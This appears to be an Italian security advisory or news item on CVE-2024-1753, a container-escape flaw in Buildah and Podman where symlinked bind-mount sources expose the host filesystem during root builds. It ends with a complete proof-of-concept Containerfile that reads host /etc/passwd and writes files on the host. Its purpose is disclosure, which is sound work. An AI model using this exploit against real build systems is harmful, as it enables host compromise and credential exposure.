Sono state scoperte vulnerabilit\u00e0 nei pacchetti Buildah e Podman (CVE-2024-1753) che consentono l'accesso completo al filesystem dell'ambiente host durante la fase di costruzione di un container eseguito con privilegi di root. Nei sistemi con SELinux attivato, l'accesso al filesystem host \u00e8 limitato in modalit\u00e0 di sola lettura. Una correzione \u00e8 attualmente disponibile sotto forma di patch, recentemente inclusa nel repository di codice di Buildah. <\/p>\n

La vulnerabilit\u00e0 \u00e8 causata dal fatto che, durante il montaggio delle parti del file system tramite il comando \"mount --bind\" durante la fase di RUN, l'argomento con la directory sorgente (parametro \"source=\") non viene controllato per l'esistenza nella root del file system. Un file di configurazione Containerfile manipolato da un attaccante pu\u00f2 utilizzare un'immagine del contenitore in cui la directory sorgente per il montaggio \u00e8 espressa come un collegamento simbolico alla root del file system. In questo caso, l'operazione di montaggio porter\u00e0 al montaggio della root del file system dell'ambiente host all'interno del contenitore, consentendo di ottenere accesso completo al file system dell'ambiente host durante la fase di RUN eseguendo i comandi \"buildah build\" o \"podman build\". <\/p>\n

Esempio di un file Containerfile malevolo, la cui costruzione con il comando \"podman build -f ~\/Containerfile .\" porter\u00e0 a mostrare il contenuto di \/etc\/passwd e a creare i file \/BIND_BREAKEOUT e \/etc\/BIND_BREAKOUT2 nell'ambiente host: FROM alpine as base RUN ln -s \/ \/rootdir RUN ln -s \/etc \/etc2 FROM alpine RUN echo \"ls container root\" RUN ls -l \/ RUN echo \"Con exploit, mostrare la root dell'host, non la root del contenitore, e creare \/BIND_BREAKOUT in \/ sull'host\" RUN --mount=type=bind,from=base,source=\/rootdir,destination=\/exploit,rw ls -l \/exploit; touch \/exploit\/BIND_BREAKOUT; ls -l \/exploit RUN echo \"Con exploit, mostrare l'host \/etc\/passwd, non quello del contenitore, e creare \/BIND_BREAKOUT2 in \/etc sull'host\" RUN --mount=type=bind,rw,source=\/etc2,destination=\/etc2,from=base ls -l \/; ls -l \/etc2\/passwd; cat \/etc2\/passwd; touch \/etc2\/BIND_BREAKOUT2; ls -l \/etc2
